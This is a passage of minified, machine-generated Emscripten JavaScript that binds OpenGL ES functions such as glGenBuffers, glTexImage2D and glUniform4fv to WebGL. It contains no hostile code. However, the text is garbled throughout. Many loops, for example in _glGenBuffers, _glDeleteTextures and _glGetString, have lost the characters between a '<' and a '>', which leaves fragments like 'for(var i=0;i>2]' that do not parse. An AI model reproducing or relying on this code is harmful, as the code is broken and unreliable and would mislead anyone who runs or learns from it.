_glDeleteSync(id){if(!id)return;var sync=GL.syncs[id];if(!sync){GL.recordError(1281);return}GLctx.deleteSync(sync);sync.name=0;GL.syncs[id]=null}function _glDeleteTextures(n,textures){for(var i=0;i>2];var texture=GL.textures[id];if(!texture)continue;GLctx.deleteTexture(texture);texture.name=0;GL.textures[id]=null}}function _glDeleteTransformFeedbacks(n,ids){for(var i=0;i>2];var transformFeedback=GL.transformFeedbacks[id];if(!transformFeedback)continue;GLctx["deleteTransformFeedback"](transformFeedback);transformFeedback.name=0;GL.transformFeedbacks[id]=null}}function _glDeleteVertexArrays(n,vaos){for(var i=0;i>2];GLctx["deleteVertexArray"](GL.vaos[id]);GL.vaos[id]=null}}function _glDepthFunc(x0){GLctx["depthFunc"](x0)}function _glDepthMask(flag){GLctx.depthMask(!!flag)}function _glDetachShader(program,shader){GLctx.detachShader(GL.programs[program],GL.shaders[shader])}function _glDisable(x0){GLctx["disable"](x0)}function _glDisableVertexAttribArray(index){GLctx.disableVertexAttribArray(index)}function _glDrawArrays(mode,first,count){GLctx.drawArrays(mode,first,count)}function _glDrawArraysInstanced(mode,first,count,primcount){GLctx["drawArraysInstanced"](mode,first,count,primcount)}function _glDrawBuffers(n,bufs){var bufArray=GL.tempFixedLengthArray[n];for(var i=0;i>2]}GLctx["drawBuffers"](bufArray)}function _glDrawElements(mode,count,type,indices){GLctx.drawElements(mode,count,type,indices)}function _glDrawElementsInstanced(mode,count,type,indices,primcount){GLctx["drawElementsInstanced"](mode,count,type,indices,primcount)}function _glEnable(x0){GLctx["enable"](x0)}function _glEnableVertexAttribArray(index){GLctx.enableVertexAttribArray(index)}function _glEndQuery(x0){GLctx["endQuery"](x0)}function _glEndTransformFeedback(){GLctx["endTransformFeedback"]()}function _glFenceSync(condition,flags){var sync=GLctx.fenceSync(condition,flags);if(sync){var id=GL.getNewId(GL.syncs);sync.name=id;GL.syncs[id]=sync;return id}else{return 0}}function _glFinish(){GLctx["finish"]()}function _glFlush(){GLctx["flush"]()}function emscriptenWebGLGetBufferBinding(target){switch(target){case 34962:target=34964;break;case 34963:target=34965;break;case 35051:target=35053;break;case 35052:target=35055;break;case 35982:target=35983;break;case 36662:target=36662;break;case 36663:target=36663;break;case 35345:target=35368;break}var buffer=GLctx.getParameter(target);if(buffer)return buffer.name|0;else return 0}function emscriptenWebGLValidateMapBufferTarget(target){switch(target){case 34962:case 34963:case 36662:case 36663:case 35051:case 35052:case 35882:case 35982:case 35345:return true;default:return false}}function _glFlushMappedBufferRange(target,offset,length){if(!emscriptenWebGLValidateMapBufferTarget(target)){GL.recordError(1280);err("GL_INVALID_ENUM in glFlushMappedBufferRange");return}var mapping=GL.mappedBuffers[emscriptenWebGLGetBufferBinding(target)];if(!mapping){GL.recordError(1282);Module.printError("buffer was never mapped in glFlushMappedBufferRange");return}if(!(mapping.access&16)){GL.recordError(1282);Module.printError("buffer was not mapped with GL_MAP_FLUSH_EXPLICIT_BIT in glFlushMappedBufferRange");return}if(offset<0||length<0||offset+length>mapping.length){GL.recordError(1281);Module.printError("invalid range in glFlushMappedBufferRange");return}GLctx.bufferSubData(target,mapping.offset,HEAPU8.subarray(mapping.mem+offset,mapping.mem+offset+length))}function _glFramebufferRenderbuffer(target,attachment,renderbuffertarget,renderbuffer){GLctx.framebufferRenderbuffer(target,attachment,renderbuffertarget,GL.renderbuffers[renderbuffer])}function _glFramebufferTexture2D(target,attachment,textarget,texture,level){GLctx.framebufferTexture2D(target,attachment,textarget,GL.textures[texture],level)}function _glFramebufferTextureLayer(target,attachment,texture,level,layer){GLctx.framebufferTextureLayer(target,attachment,GL.textures[texture],level,layer)}function _glFrontFace(x0){GLctx["frontFace"](x0)}function _glGenBuffers(n,buffers){for(var i=0;i>2]=0;return}var id=GL.getNewId(GL.buffers);buffer.name=id;GL.buffers[id]=buffer;HEAP32[buffers+i*4>>2]=id}}function _glGenFramebuffers(n,ids){for(var i=0;i>2]=0;return}var id=GL.getNewId(GL.framebuffers);framebuffer.name=id;GL.framebuffers[id]=framebuffer;HEAP32[ids+i*4>>2]=id}}function _glGenQueries(n,ids){for(var i=0;i>2]=0;return}var id=GL.getNewId(GL.queries);query.name=id;GL.queries[id]=query;HEAP32[ids+i*4>>2]=id}}function _glGenRenderbuffers(n,renderbuffers){for(var i=0;i>2]=0;return}var id=GL.getNewId(GL.renderbuffers);renderbuffer.name=id;GL.renderbuffers[id]=renderbuffer;HEAP32[renderbuffers+i*4>>2]=id}}function _glGenSamplers(n,samplers){for(var i=0;i>2]=0;return}var id=GL.getNewId(GL.samplers);sampler.name=id;GL.samplers[id]=sampler;HEAP32[samplers+i*4>>2]=id}}function _glGenTextures(n,textures){for(var i=0;i>2]=0;return}var id=GL.getNewId(GL.textures);texture.name=id;GL.textures[id]=texture;HEAP32[textures+i*4>>2]=id}}function _glGenTransformFeedbacks(n,ids){for(var i=0;i>2]=0;return}var id=GL.getNewId(GL.transformFeedbacks);transformFeedback.name=id;GL.transformFeedbacks[id]=transformFeedback;HEAP32[ids+i*4>>2]=id}}function _glGenVertexArrays(n,arrays){for(var i=0;i>2]=0;return}var id=GL.getNewId(GL.vaos);vao.name=id;GL.vaos[id]=vao;HEAP32[arrays+i*4>>2]=id}}function _glGenerateMipmap(x0){GLctx["generateMipmap"](x0)}function _glGetActiveAttrib(program,index,bufSize,length,size,type,name){program=GL.programs[program];var info=GLctx.getActiveAttrib(program,index);if(!info)return;if(bufSize>0&&name){var numBytesWrittenExclNull=stringToUTF8(info.name,name,bufSize);if(length)HEAP32[length>>2]=numBytesWrittenExclNull}else{if(length)HEAP32[length>>2]=0}if(size)HEAP32[size>>2]=info.size;if(type)HEAP32[type>>2]=info.type}function _glGetActiveUniform(program,index,bufSize,length,size,type,name){program=GL.programs[program];var info=GLctx.getActiveUniform(program,index);if(!info)return;if(bufSize>0&&name){var numBytesWrittenExclNull=stringToUTF8(info.name,name,bufSize);if(length)HEAP32[length>>2]=numBytesWrittenExclNull}else{if(length)HEAP32[length>>2]=0}if(size)HEAP32[size>>2]=info.size;if(type)HEAP32[type>>2]=info.type}function _glGetActiveUniformBlockName(program,uniformBlockIndex,bufSize,length,uniformBlockName){program=GL.programs[program];var result=GLctx["getActiveUniformBlockName"](program,uniformBlockIndex);if(!result)return;if(uniformBlockName&&bufSize>0){var numBytesWrittenExclNull=stringToUTF8(result,uniformBlockName,bufSize);if(length)HEAP32[length>>2]=numBytesWrittenExclNull}else{if(length)HEAP32[length>>2]=0}}function _glGetActiveUniformBlockiv(program,uniformBlockIndex,pname,params){if(!params){GL.recordError(1281);return}program=GL.programs[program];switch(pname){case 35393:var name=GLctx["getActiveUniformBlockName"](program,uniformBlockIndex);HEAP32[params>>2]=name.length+1;return;default:var result=GLctx["getActiveUniformBlockParameter"](program,uniformBlockIndex,pname);if(!result)return;if(typeof result=="number"){HEAP32[params>>2]=result}else{for(var i=0;i>2]=result[i]}}}}function _glGetActiveUniformsiv(program,uniformCount,uniformIndices,pname,params){if(!params){GL.recordError(1281);return}if(uniformCount>0&&uniformIndices==0){GL.recordError(1281);return}program=GL.programs[program];var ids=[];for(var i=0;i>2])}var result=GLctx["getActiveUniforms"](program,ids,pname);if(!result)return;var len=result.length;for(var i=0;i>2]=result[i]}}function _glGetAttribLocation(program,name){return GLctx.getAttribLocation(GL.programs[program],Pointer_stringify(name))}function _glGetError(){if(GL.lastError){var error=GL.lastError;GL.lastError=0;return error}else{return GLctx.getError()}}function _glGetFramebufferAttachmentParameteriv(target,attachment,pname,params){var result=GLctx.getFramebufferAttachmentParameter(target,attachment,pname);if(result instanceof WebGLRenderbuffer||result instanceof WebGLTexture){result=result.name|0}HEAP32[params>>2]=result}function emscriptenWebGLGetIndexed(target,index,data,type){if(!data){GL.recordError(1281);return}var result=GLctx["getIndexedParameter"](target,index);var ret;switch(typeof result){case"boolean":ret=result?1:0;break;case"number":ret=result;break;case"object":if(result===null){switch(target){case 35983:case 35368:ret=0;break;default:{GL.recordError(1280);return}}}else if(result instanceof WebGLBuffer){ret=result.name|0}else{GL.recordError(1280);return}break;default:GL.recordError(1280);return}switch(type){case"Integer64":tempI64=[ret>>>0,(tempDouble=ret,+Math_abs(tempDouble)>=1?tempDouble>0?(Math_min(+Math_floor(tempDouble/4294967296),4294967295)|0)>>>0:~~+Math_ceil((tempDouble- +(~~tempDouble>>>0))/4294967296)>>>0:0)],HEAP32[data>>2]=tempI64[0],HEAP32[data+4>>2]=tempI64[1];break;case"Integer":HEAP32[data>>2]=ret;break;case"Float":HEAPF32[data>>2]=ret;break;case"Boolean":HEAP8[data>>0]=ret?1:0;break;default:throw"internal emscriptenWebGLGetIndexed() error, bad type: "+type}}function _glGetIntegeri_v(target,index,data){emscriptenWebGLGetIndexed(target,index,data,"Integer")}function emscriptenWebGLGet(name_,p,type){if(!p){GL.recordError(1281);return}var ret=undefined;switch(name_){case 36346:ret=1;break;case 36344:if(type!=="Integer"&&type!=="Integer64"){GL.recordError(1280)}return;case 34814:case 36345:ret=0;break;case 34466:var formats=GLctx.getParameter(34467);ret=formats.length;break;case 33309:if(GLctx.canvas.GLctxObject.version<2){GL.recordError(1282);return}var exts=GLctx.getSupportedExtensions();ret=2*exts.length;break;case 33307:case 33308:if(GLctx.canvas.GLctxObject.version<2){GL.recordError(1280);return}ret=name_==33307?3:0;break}if(ret===undefined){var result=GLctx.getParameter(name_);switch(typeof result){case"number":ret=result;break;case"boolean":ret=result?1:0;break;case"string":GL.recordError(1280);return;case"object":if(result===null){switch(name_){case 34964:case 35725:case 34965:case 36006:case 36007:case 32873:case 34229:case 35097:case 36389:case 34068:{ret=0;break};default:{GL.recordError(1280);return}}}else if(result instanceof Float32Array||result instanceof Uint32Array||result instanceof Int32Array||result instanceof Array){for(var i=0;i>2]=result[i];break;case"Float":HEAPF32[p+i*4>>2]=result[i];break;case"Boolean":HEAP8[p+i>>0]=result[i]?1:0;break;default:throw"internal glGet error, bad type: "+type}}return}else if(result instanceof WebGLBuffer||result instanceof WebGLProgram||result instanceof WebGLFramebuffer||result instanceof WebGLRenderbuffer||result instanceof WebGLQuery||result instanceof WebGLSampler||result instanceof WebGLSync||result instanceof WebGLTransformFeedback||result instanceof WebGLVertexArrayObject||result instanceof WebGLTexture){ret=result.name|0}else{GL.recordError(1280);return}break;default:GL.recordError(1280);return}}switch(type){case"Integer64":tempI64=[ret>>>0,(tempDouble=ret,+Math_abs(tempDouble)>=1?tempDouble>0?(Math_min(+Math_floor(tempDouble/4294967296),4294967295)|0)>>>0:~~+Math_ceil((tempDouble- +(~~tempDouble>>>0))/4294967296)>>>0:0)],HEAP32[p>>2]=tempI64[0],HEAP32[p+4>>2]=tempI64[1];break;case"Integer":HEAP32[p>>2]=ret;break;case"Float":HEAPF32[p>>2]=ret;break;case"Boolean":HEAP8[p>>0]=ret?1:0;break;default:throw"internal glGet error, bad type: "+type}}function _glGetIntegerv(name_,p){emscriptenWebGLGet(name_,p,"Integer")}function _glGetInternalformativ(target,internalformat,pname,bufSize,params){if(bufSize<0){GL.recordError(1281);return}var samples=GLctx["getInternalformatParameter"](target,internalformat,32937);if(!samples){GL.recordError(1280);return}switch(pname){case 32937:var n=Math.min(bufSize,samples.length);for(var i=0;i>2]=v}break;case 37760:if(bufSize>1){var v=samples.length;HEAP32[params>>2]=v}break;default:GL.recordError(1280)}}function _glGetProgramBinary(program,bufSize,length,binaryFormat,binary){GL.recordError(1282)}function _glGetProgramInfoLog(program,maxLength,length,infoLog){var log=GLctx.getProgramInfoLog(GL.programs[program]);if(log===null)log="(unknown error)";if(maxLength>0&&infoLog){var numBytesWrittenExclNull=stringToUTF8(log,infoLog,maxLength);if(length)HEAP32[length>>2]=numBytesWrittenExclNull}else{if(length)HEAP32[length>>2]=0}}function _glGetProgramiv(program,pname,p){if(!p){GL.recordError(1281);return}if(program>=GL.counter){GL.recordError(1281);return}var ptable=GL.programInfos[program];if(!ptable){GL.recordError(1282);return}if(pname==35716){var log=GLctx.getProgramInfoLog(GL.programs[program]);if(log===null)log="(unknown error)";HEAP32[p>>2]=log.length+1}else if(pname==35719){HEAP32[p>>2]=ptable.maxUniformLength}else if(pname==35722){if(ptable.maxAttributeLength==-1){program=GL.programs[program];var numAttribs=GLctx.getProgramParameter(program,GLctx.ACTIVE_ATTRIBUTES);ptable.maxAttributeLength=0;for(var i=0;i>2]=ptable.maxAttributeLength}else if(pname==35381){if(ptable.maxUniformBlockNameLength==-1){program=GL.programs[program];var numBlocks=GLctx.getProgramParameter(program,GLctx.ACTIVE_UNIFORM_BLOCKS);ptable.maxUniformBlockNameLength=0;for(var i=0;i>2]=ptable.maxUniformBlockNameLength}else{HEAP32[p>>2]=GLctx.getProgramParameter(GL.programs[program],pname)}}function _glGetRenderbufferParameteriv(target,pname,params){if(!params){GL.recordError(1281);return}HEAP32[params>>2]=GLctx.getRenderbufferParameter(target,pname)}function _glGetShaderInfoLog(shader,maxLength,length,infoLog){var log=GLctx.getShaderInfoLog(GL.shaders[shader]);if(log===null)log="(unknown error)";if(maxLength>0&&infoLog){var numBytesWrittenExclNull=stringToUTF8(log,infoLog,maxLength);if(length)HEAP32[length>>2]=numBytesWrittenExclNull}else{if(length)HEAP32[length>>2]=0}}function _glGetShaderPrecisionFormat(shaderType,precisionType,range,precision){var result=GLctx.getShaderPrecisionFormat(shaderType,precisionType);HEAP32[range>>2]=result.rangeMin;HEAP32[range+4>>2]=result.rangeMax;HEAP32[precision>>2]=result.precision}function _glGetShaderSource(shader,bufSize,length,source){var result=GLctx.getShaderSource(GL.shaders[shader]);if(!result)return;if(bufSize>0&&source){var numBytesWrittenExclNull=stringToUTF8(result,source,bufSize);if(length)HEAP32[length>>2]=numBytesWrittenExclNull}else{if(length)HEAP32[length>>2]=0}}function _glGetShaderiv(shader,pname,p){if(!p){GL.recordError(1281);return}if(pname==35716){var log=GLctx.getShaderInfoLog(GL.shaders[shader]);if(log===null)log="(unknown error)";HEAP32[p>>2]=log.length+1}else if(pname==35720){var source=GLctx.getShaderSource(GL.shaders[shader]);var sourceLength=source===null||source.length==0?0:source.length+1;HEAP32[p>>2]=sourceLength}else{HEAP32[p>>2]=GLctx.getShaderParameter(GL.shaders[shader],pname)}}function _glGetString(name_){if(GL.stringCache[name_])return GL.stringCache[name_];var ret;switch(name_){case 7936:case 7937:case 37445:case 37446:ret=allocate(intArrayFromString(GLctx.getParameter(name_)),"i8",ALLOC_NORMAL);break;case 7938:var glVersion=GLctx.getParameter(GLctx.VERSION);if(GLctx.canvas.GLctxObject.version>=2)glVersion="OpenGL ES 3.0 ("+glVersion+")";else{glVersion="OpenGL ES 2.0 ("+glVersion+")"}ret=allocate(intArrayFromString(glVersion),"i8",ALLOC_NORMAL);break;case 7939:var exts=GLctx.getSupportedExtensions();var gl_exts=[];for(var i=0;i=stringiCache.length){GL.recordError(1281);return 0}return stringiCache[index]}switch(name){case 7939:var exts=GLctx.getSupportedExtensions();var gl_exts=[];for(var i=0;i=stringiCache.length){GL.recordError(1281);return 0}return stringiCache[index];default:GL.recordError(1280);return 0}}function _glGetTexParameteriv(target,pname,params){if(!params){GL.recordError(1281);return}HEAP32[params>>2]=GLctx.getTexParameter(target,pname)}function _glGetUniformBlockIndex(program,uniformBlockName){program=GL.programs[program];uniformBlockName=Pointer_stringify(uniformBlockName);return GLctx["getUniformBlockIndex"](program,uniformBlockName)}function _glGetUniformIndices(program,uniformCount,uniformNames,uniformIndices){if(!uniformIndices){GL.recordError(1281);return}if(uniformCount>0&&(uniformNames==0||uniformIndices==0)){GL.recordError(1281);return}program=GL.programs[program];var names=[];for(var i=0;i>2]));var result=GLctx["getUniformIndices"](program,names);if(!result)return;var len=result.length;for(var i=0;i>2]=result[i]}}function _glGetUniformLocation(program,name){name=Pointer_stringify(name);var arrayOffset=0;if(name.indexOf("]",name.length-1)!==-1){var ls=name.lastIndexOf("[");var arrayIndex=name.slice(ls+1,-1);if(arrayIndex.length>0){arrayOffset=parseInt(arrayIndex);if(arrayOffset<0){return-1}}name=name.slice(0,ls)}var ptable=GL.programInfos[program];if(!ptable){return-1}var utable=ptable.uniforms;var uniformInfo=utable[name];if(uniformInfo&&arrayOffset>2]=data;break;case"Float":HEAPF32[params>>2]=data;break;default:throw"internal emscriptenWebGLGetUniform() error, bad type: "+type}}else{for(var i=0;i>2]=data[i];break;case"Float":HEAPF32[params+i*4>>2]=data[i];break;default:throw"internal emscriptenWebGLGetUniform() error, bad type: "+type}}}}function _glGetUniformiv(program,location,params){emscriptenWebGLGetUniform(program,location,params,"Integer")}function emscriptenWebGLGetVertexAttrib(index,pname,params,type){if(!params){GL.recordError(1281);return}var data=GLctx.getVertexAttrib(index,pname);if(pname==34975){HEAP32[params>>2]=data["name"]}else if(typeof data=="number"||typeof data=="boolean"){switch(type){case"Integer":HEAP32[params>>2]=data;break;case"Float":HEAPF32[params>>2]=data;break;case"FloatToInteger":HEAP32[params>>2]=Math.fround(data);break;default:throw"internal emscriptenWebGLGetVertexAttrib() error, bad type: "+type}}else{for(var i=0;i>2]=data[i];break;case"Float":HEAPF32[params+i*4>>2]=data[i];break;case"FloatToInteger":HEAP32[params+i*4>>2]=Math.fround(data[i]);break;default:throw"internal emscriptenWebGLGetVertexAttrib() error, bad type: "+type}}}}function _glGetVertexAttribiv(index,pname,params){emscriptenWebGLGetVertexAttrib(index,pname,params,"FloatToInteger")}function _glInvalidateFramebuffer(target,numAttachments,attachments){var list=GL.tempFixedLengthArray[numAttachments];for(var i=0;i>2]}GLctx["invalidateFramebuffer"](target,list)}function _glIsEnabled(x0){return GLctx["isEnabled"](x0)}function _glIsVertexArray(array){var vao=GL.vaos[array];if(!vao)return 0;return GLctx["isVertexArray"](vao)}function _glLinkProgram(program){GLctx.linkProgram(GL.programs[program]);GL.programInfos[program]=null;GL.populateUniformTable(program)}function _glMapBufferRange(target,offset,length,access){if(access!=26&&access!=10){err("glMapBufferRange is only supported when access is MAP_WRITE|INVALIDATE_BUFFER");return 0}if(!emscriptenWebGLValidateMapBufferTarget(target)){GL.recordError(1280);err("GL_INVALID_ENUM in glMapBufferRange");return 0}var mem=_malloc(length);if(!mem)return 0;GL.mappedBuffers[emscriptenWebGLGetBufferBinding(target)]={offset:offset,length:length,mem:mem,access:access};return mem}function _glPixelStorei(pname,param){if(pname==3333){GL.packAlignment=param}else if(pname==3317){GL.unpackAlignment=param}GLctx.pixelStorei(pname,param)}function _glPolygonOffset(x0,x1){GLctx["polygonOffset"](x0,x1)}function _glProgramBinary(program,binaryFormat,binary,length){GL.recordError(1280)}function _glProgramParameteri(program,pname,value){GL.recordError(1280)}function _glReadBuffer(x0){GLctx["readBuffer"](x0)}function emscriptenWebGLComputeImageSize(width,height,sizePerPixel,alignment){function roundedToNextMultipleOf(x,y){return Math.floor((x+y-1)/y)*y}var plainRowSize=width*sizePerPixel;var alignedRowSize=roundedToNextMultipleOf(plainRowSize,alignment);return height<=0?0:(height-1)*alignedRowSize+plainRowSize}function emscriptenWebGLGetTexPixelData(type,format,width,height,pixels,internalFormat){var sizePerPixel;var numChannels;switch(format){case 6406:case 6409:case 6402:case 6403:case 36244:numChannels=1;break;case 6410:case 33319:case 33320:numChannels=2;break;case 6407:case 35904:case 36248:numChannels=3;break;case 6408:case 35906:case 36249:numChannels=4;break;default:GL.recordError(1280);return null}switch(type){case 5121:case 5120:sizePerPixel=numChannels*1;break;case 5123:case 36193:case 5131:case 5122:sizePerPixel=numChannels*2;break;case 5125:case 5126:case 5124:sizePerPixel=numChannels*4;break;case 34042:case 35902:case 33640:case 35899:case 34042:sizePerPixel=4;break;case 33635:case 32819:case 32820:sizePerPixel=2;break;default:GL.recordError(1280);return null}var bytes=emscriptenWebGLComputeImageSize(width,height,sizePerPixel,GL.unpackAlignment);switch(type){case 5120:return HEAP8.subarray(pixels,pixels+bytes);case 5121:return HEAPU8.subarray(pixels,pixels+bytes);case 5122:return HEAP16.subarray(pixels>>1,pixels+bytes>>1);case 5124:return HEAP32.subarray(pixels>>2,pixels+bytes>>2);case 5126:return HEAPF32.subarray(pixels>>2,pixels+bytes>>2);case 5125:case 34042:case 35902:case 33640:case 35899:case 34042:return HEAPU32.subarray(pixels>>2,pixels+bytes>>2);case 5123:case 33635:case 32819:case 32820:case 36193:case 5131:return HEAPU16.subarray(pixels>>1,pixels+bytes>>1);default:GL.recordError(1280);return null}}function emscriptenWebGLGetHeapForType(type){switch(type){case 5120:return HEAP8;case 5121:return HEAPU8;case 5122:return HEAP16;case 5123:case 33635:case 32819:case 32820:case 36193:case 5131:return HEAPU16;case 5124:return HEAP32;case 5125:case 34042:case 35902:case 33640:case 35899:case 34042:return HEAPU32;case 5126:return HEAPF32;default:return null}}function emscriptenWebGLGetShiftForType(type){switch(type){case 5120:case 5121:return 0;case 5122:case 5123:case 33635:case 32819:case 32820:case 36193:case 5131:return 1;case 5124:case 5126:case 5125:case 34042:case 35902:case 33640:case 35899:case 34042:return 2;default:return 0}}function _glReadPixels(x,y,width,height,format,type,pixels){if(GL.currentContext.supportsWebGL2EntryPoints){if(GLctx.currentPixelPackBufferBinding){GLctx.readPixels(x,y,width,height,format,type,pixels)}else{GLctx.readPixels(x,y,width,height,format,type,emscriptenWebGLGetHeapForType(type),pixels>>emscriptenWebGLGetShiftForType(type))}return}var pixelData=emscriptenWebGLGetTexPixelData(type,format,width,height,pixels,format);if(!pixelData){GL.recordError(1280);return}GLctx.readPixels(x,y,width,height,format,type,pixelData)}function _glRenderbufferStorage(x0,x1,x2,x3){GLctx["renderbufferStorage"](x0,x1,x2,x3)}function _glRenderbufferStorageMultisample(x0,x1,x2,x3,x4){GLctx["renderbufferStorageMultisample"](x0,x1,x2,x3,x4)}function _glSamplerParameteri(sampler,pname,param){GLctx["samplerParameteri"](sampler?GL.samplers[sampler]:null,pname,param)}function _glScissor(x0,x1,x2,x3){GLctx["scissor"](x0,x1,x2,x3)}function _glShaderSource(shader,count,string,length){var source=GL.getSource(shader,count,string,length);GLctx.shaderSource(GL.shaders[shader],source)}function _glStencilFuncSeparate(x0,x1,x2,x3){GLctx["stencilFuncSeparate"](x0,x1,x2,x3)}function _glStencilMask(x0){GLctx["stencilMask"](x0)}function _glStencilOpSeparate(x0,x1,x2,x3){GLctx["stencilOpSeparate"](x0,x1,x2,x3)}function _glTexImage2D(target,level,internalFormat,width,height,border,format,type,pixels){if(GL.currentContext.supportsWebGL2EntryPoints){if(GLctx.currentPixelUnpackBufferBinding){GLctx.texImage2D(target,level,internalFormat,width,height,border,format,type,pixels)}else if(pixels!=0){GLctx.texImage2D(target,level,internalFormat,width,height,border,format,type,emscriptenWebGLGetHeapForType(type),pixels>>emscriptenWebGLGetShiftForType(type))}else{GLctx.texImage2D(target,level,internalFormat,width,height,border,format,type,null)}return}var pixelData=null;if(pixels)pixelData=emscriptenWebGLGetTexPixelData(type,format,width,height,pixels,internalFormat);GLctx.texImage2D(target,level,internalFormat,width,height,border,format,type,pixelData)}function _glTexImage3D(target,level,internalFormat,width,height,depth,border,format,type,pixels){if(GLctx.currentPixelUnpackBufferBinding){GLctx["texImage3D"](target,level,internalFormat,width,height,depth,border,format,type,pixels)}else if(pixels!=0){GLctx["texImage3D"](target,level,internalFormat,width,height,depth,border,format,type,emscriptenWebGLGetHeapForType(type),pixels>>emscriptenWebGLGetShiftForType(type))}else{GLctx["texImage3D"](target,level,internalFormat,width,height,depth,border,format,type,null)}}function _glTexParameterf(x0,x1,x2){GLctx["texParameterf"](x0,x1,x2)}function _glTexParameteri(x0,x1,x2){GLctx["texParameteri"](x0,x1,x2)}function _glTexParameteriv(target,pname,params){var param=HEAP32[params>>2];GLctx.texParameteri(target,pname,param)}function _glTexStorage2D(x0,x1,x2,x3,x4){GLctx["texStorage2D"](x0,x1,x2,x3,x4)}function _glTexStorage3D(x0,x1,x2,x3,x4,x5){GLctx["texStorage3D"](x0,x1,x2,x3,x4,x5)}function _glTexSubImage2D(target,level,xoffset,yoffset,width,height,format,type,pixels){if(GL.currentContext.supportsWebGL2EntryPoints){if(GLctx.currentPixelUnpackBufferBinding){GLctx.texSubImage2D(target,level,xoffset,yoffset,width,height,format,type,pixels)}else if(pixels!=0){GLctx.texSubImage2D(target,level,xoffset,yoffset,width,height,format,type,emscriptenWebGLGetHeapForType(type),pixels>>emscriptenWebGLGetShiftForType(type))}else{GLctx.texSubImage2D(target,level,xoffset,yoffset,width,height,format,type,null)}return}var pixelData=null;if(pixels)pixelData=emscriptenWebGLGetTexPixelData(type,format,width,height,pixels,0);GLctx.texSubImage2D(target,level,xoffset,yoffset,width,height,format,type,pixelData)}function _glTexSubImage3D(target,level,xoffset,yoffset,zoffset,width,height,depth,format,type,pixels){if(GLctx.currentPixelUnpackBufferBinding){GLctx["texSubImage3D"](target,level,xoffset,yoffset,zoffset,width,height,depth,format,type,pixels)}else if(pixels!=0){GLctx["texSubImage3D"](target,level,xoffset,yoffset,zoffset,width,height,depth,format,type,emscriptenWebGLGetHeapForType(type),pixels>>emscriptenWebGLGetShiftForType(type))}else{GLctx["texSubImage3D"](target,level,xoffset,yoffset,zoffset,width,height,depth,format,type,null)}}function _glTransformFeedbackVaryings(program,count,varyings,bufferMode){program=GL.programs[program];var vars=[];for(var i=0;i>2]));GLctx["transformFeedbackVaryings"](program,vars,bufferMode)}function _glUniform1fv(location,count,value){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.uniform1fv(GL.uniforms[location],HEAPF32,value>>2,count);return}var view;if(count<=GL.MINI_TEMP_BUFFER_SIZE){view=GL.miniTempBufferViews[count-1];for(var i=0;i>2]}}else{view=HEAPF32.subarray(value>>2,value+count*4>>2)}GLctx.uniform1fv(GL.uniforms[location],view)}function _glUniform1i(location,v0){GLctx.uniform1i(GL.uniforms[location],v0)}function _glUniform1iv(location,count,value){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.uniform1iv(GL.uniforms[location],HEAP32,value>>2,count);return}GLctx.uniform1iv(GL.uniforms[location],HEAP32.subarray(value>>2,value+count*4>>2))}function _glUniform1uiv(location,count,value){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.uniform1uiv(GL.uniforms[location],HEAPU32,value>>2,count)}else{GLctx.uniform1uiv(GL.uniforms[location],HEAPU32.subarray(value>>2,value+count*4>>2))}}function _glUniform2fv(location,count,value){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.uniform2fv(GL.uniforms[location],HEAPF32,value>>2,count*2);return}var view;if(2*count<=GL.MINI_TEMP_BUFFER_SIZE){view=GL.miniTempBufferViews[2*count-1];for(var i=0;i<2*count;i+=2){view[i]=HEAPF32[value+4*i>>2];view[i+1]=HEAPF32[value+(4*i+4)>>2]}}else{view=HEAPF32.subarray(value>>2,value+count*8>>2)}GLctx.uniform2fv(GL.uniforms[location],view)}function _glUniform2iv(location,count,value){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.uniform2iv(GL.uniforms[location],HEAP32,value>>2,count*2);return}GLctx.uniform2iv(GL.uniforms[location],HEAP32.subarray(value>>2,value+count*8>>2))}function _glUniform2uiv(location,count,value){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.uniform2uiv(GL.uniforms[location],HEAPU32,value>>2,count*2)}else{GLctx.uniform2uiv(GL.uniforms[location],HEAPU32.subarray(value>>2,value+count*8>>2))}}function _glUniform3fv(location,count,value){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.uniform3fv(GL.uniforms[location],HEAPF32,value>>2,count*3);return}var view;if(3*count<=GL.MINI_TEMP_BUFFER_SIZE){view=GL.miniTempBufferViews[3*count-1];for(var i=0;i<3*count;i+=3){view[i]=HEAPF32[value+4*i>>2];view[i+1]=HEAPF32[value+(4*i+4)>>2];view[i+2]=HEAPF32[value+(4*i+8)>>2]}}else{view=HEAPF32.subarray(value>>2,value+count*12>>2)}GLctx.uniform3fv(GL.uniforms[location],view)}function _glUniform3iv(location,count,value){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.uniform3iv(GL.uniforms[location],HEAP32,value>>2,count*3);return}GLctx.uniform3iv(GL.uniforms[location],HEAP32.subarray(value>>2,value+count*12>>2))}function _glUniform3uiv(location,count,value){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.uniform3uiv(GL.uniforms[location],HEAPU32,value>>2,count*3)}else{GLctx.uniform3uiv(GL.uniforms[location],HEAPU32.subarray(value>>2,value+count*12>>2))}}function _glUniform4fv(location,count,value){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.uniform4fv(GL.uniforms[location],HEAPF32,value>>2,count*4);return}var view;if(4*count<=GL.MINI_TEMP_BUFFER_SIZE){view=GL.miniTempBufferViews[4*count-1];for(var i=0;i<4*count;i+=4){view[i]=HEAPF32[value+4*i>>2];view[i+1]=HEAPF32[value+(4*i+4)>>2];view[i+2]=HEAPF32[value+(4*i+8)>>2];view[i+3]=HEAPF32[value+(4*i+12)>>2]}}else{view=HEAPF32.subarray(value>>2,value+count*16>>2)}GLctx.uniform4fv(GL.uniforms[location],view)}function _glUniform4iv(location,count,value){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.uniform4iv(GL.uniforms[location],HEAP32,value>>2,count*4);return}GLctx.uniform4iv(GL.uniforms[location],HEAP32.subarray(value>>2,value+count*16>>2))}function _glUniform4uiv(location,count,value){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.uniform4uiv(GL.uniforms[location],HEAPU32,value>>2,count*4)}else{GLctx.uniform4uiv(GL.uniforms[location],HEAPU32.subarray(value>>2,value+count*16>>2))}}function _glUniformBlockBinding(program,uniformBlockIndex,uniformBlockBinding){program=GL.programs[program];GLctx["uniformBlockBinding"](program,uniformBlockIndex,uniformBlockBinding)}function 